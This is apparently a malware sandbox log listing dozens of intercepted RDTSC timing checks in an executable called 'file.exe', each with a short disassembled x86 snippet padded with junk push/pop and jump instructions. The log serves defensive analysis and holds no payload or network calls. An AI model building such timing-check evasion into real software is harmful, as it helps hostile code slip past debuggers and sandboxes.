Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B5419 second address: 6B5425 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B87C1 second address: 6B87CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F9BD074F0C6h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B87CF second address: 6B87E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9BD0B1306Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B87E2 second address: 6B87E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BBBC5 second address: 6BBBCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BF5A8 second address: 6BF5AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C399C second address: 6C39EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD0B13078h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F9BD0B13078h 0x0000000f jmp 00007F9BD0B13075h 0x00000014 pop eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3B69 second address: 6C3B89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD074F0CEh 0x00000007 jg 00007F9BD074F0C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f js 00007F9BD074F0C8h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3B89 second address: 6C3B94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F9BD0B13066h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3B94 second address: 6C3BAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9BD074F0CBh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3BAC second address: 6C3BC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9BD0B13077h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3BC7 second address: 6C3BDF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9BD074F0CAh 0x0000000d jnp 00007F9BD074F0C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3BDF second address: 6C3BE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4032 second address: 6C404F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9BD074F0D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C417F second address: 6C4183 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4633 second address: 6C463F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007F9BD074F0C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4783 second address: 6C4787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4A35 second address: 6C4A65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9BD074F0D9h 0x00000009 jmp 00007F9BD074F0D3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4A65 second address: 6C4A9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F9BD0B1306Ch 0x0000000c jnc 00007F9BD0B13066h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 jl 00007F9BD0B13066h 0x0000001d pushad 0x0000001e popad 0x0000001f pop ecx 0x00000020 jmp 00007F9BD0B13077h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6417 second address: 6C641D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C641D second address: 6C6421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6421 second address: 6C6427 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C944D second address: 6C9451 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9451 second address: 6C9457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9457 second address: 6C9491 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9BD0B13078h 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop edx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9BD0B13076h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9491 second address: 6C949B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F9BD074F0C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8DD8 second address: 6C8DE2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9BD0B13066h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8F99 second address: 6C8FA6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9BD074F0C8h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9109 second address: 6C910D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C910D second address: 6C9139 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9BD074F0C6h 0x00000008 jmp 00007F9BD074F0D4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jng 00007F9BD074F0CEh 0x00000015 jp 00007F9BD074F0C6h 0x0000001b push edx 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9139 second address: 6C9149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9BD0B1306Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9149 second address: 6C914D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB59A second address: 6CB5AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jnc 00007F9BD0B13066h 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB70F second address: 6CB714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB714 second address: 6CB741 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jo 00007F9BD0B13066h 0x00000009 jmp 00007F9BD0B1306Dh 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F9BD0B13074h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB741 second address: 6CB753 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD074F0CEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF581 second address: 6CF587 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF587 second address: 6CF58D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF58D second address: 6CF593 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF593 second address: 6CF59D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9BD074F0C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3621 second address: 6D3625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3625 second address: 6D3629 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3629 second address: 6D3635 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D37D0 second address: 6D37D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D37D6 second address: 6D37E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 js 00007F9BD0B1306Eh 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D37E7 second address: 6D37F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D37F0 second address: 6D3808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9BD0B1306Eh 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3808 second address: 6D3815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F9BD074F0C6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3F16 second address: 6D3F1B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3F1B second address: 6D3F2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9BD074F0C6h 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3F2C second address: 6D3F32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB575 second address: 6DB585 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9BD074F0CBh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA016 second address: 6DA02E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9BD0B13070h 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA02E second address: 6DA034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA034 second address: 6DA03A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA291 second address: 6DA297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A962 second address: 67A9D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD0B13072h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f popad 0x00000010 nop 0x00000011 movsx ecx, si 0x00000014 mov ebx, dword ptr [ebp+1247D8CFh] 0x0000001a mov edi, dword ptr [ebp+122D1861h] 0x00000020 add eax, ebx 0x00000022 mov edi, ecx 0x00000024 nop 0x00000025 js 00007F9BD0B13075h 0x0000002b push eax 0x0000002c jmp 00007F9BD0B1306Dh 0x00000031 pop eax 0x00000032 push eax 0x00000033 jmp 00007F9BD0B1306Fh 0x00000038 nop 0x00000039 movsx ecx, dx 0x0000003c push 00000004h 0x0000003e pushad 0x0000003f pushad 0x00000040 je 00007F9BD0B13066h 0x00000046 popad 0x00000047 mov ebx, edx 0x00000049 popad 0x0000004a nop 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A9D1 second address: 67A9FE instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9BD074F0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jmp 00007F9BD074F0D6h 0x00000010 pop edi 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 push eax 0x00000015 pushad 0x00000016 popad 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB23E second address: 6DB246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB246 second address: 6DB24F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB24F second address: 6DB272 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9BD0B13066h 0x00000008 jmp 00007F9BD0B13079h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E3601 second address: 6E3605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E3605 second address: 6E3647 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F9BD0B13066h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F9BD0B13079h 0x00000011 pop esi 0x00000012 pushad 0x00000013 pushad 0x00000014 jmp 00007F9BD0B13076h 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E3647 second address: 6E3665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F9BD074F0D3h 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E3665 second address: 6E3676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9BD0B1306Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E1A1F second address: 6E1A52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9BD074F0D0h 0x0000000b jmp 00007F9BD074F0D2h 0x00000010 popad 0x00000011 jg 00007F9BD074F0CEh 0x00000017 push esi 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E1F62 second address: 6E1F83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F9BD0B13066h 0x0000000a pop edi 0x0000000b jmp 00007F9BD0B13072h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E1F83 second address: 6E1F92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9BD074F0CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E24DD second address: 6E2503 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9BD0B13068h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F9BD0B13077h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2790 second address: 6E2794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2794 second address: 6E2798 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2798 second address: 6E27A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F9BD074F0C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2A8E second address: 6E2A94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2A94 second address: 6E2A98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2A98 second address: 6E2AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push ecx 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop ecx 0x00000010 push esi 0x00000011 jmp 00007F9BD0B13074h 0x00000016 pop esi 0x00000017 popad 0x00000018 pushad 0x00000019 jmp 00007F9BD0B13078h 0x0000001e push edi 0x0000001f jmp 00007F9BD0B1306Ch 0x00000024 pop edi 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 pop eax 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2DAB second address: 6E2DBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F9BD074F0C6h 0x0000000a pop ecx 0x0000000b jl 00007F9BD074F0CEh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E3035 second address: 6E303A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E303A second address: 6E3042 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E3042 second address: 6E3046 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E3357 second address: 6E3361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E3361 second address: 6E337D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9BD0B13078h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E958B second address: 6E958F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC8B4 second address: 6EC8D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD0B13077h 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F9BD0B13066h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECB78 second address: 6ECBBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD074F0D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007F9BD074F0F7h 0x0000000f push ecx 0x00000010 jnc 00007F9BD074F0C6h 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F9BD074F0D5h 0x0000001e jo 00007F9BD074F0C6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECE47 second address: 6ECE59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD0B1306Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECE59 second address: 6ECE63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F9BD074F0C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECE63 second address: 6ECE73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F9BD0B13066h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECE73 second address: 6ECE77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F5A42 second address: 6F5A4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F9BD0B13066h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3CAE second address: 6F3CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3CB2 second address: 6F3CB8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F40C3 second address: 6F40E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F9BD074F0D8h 0x0000000c jne 00007F9BD074F0C6h 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F43B3 second address: 6F43B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4525 second address: 6F455F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9BD074F0CEh 0x00000008 jmp 00007F9BD074F0D0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9BD074F0D5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F47BF second address: 6F47C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
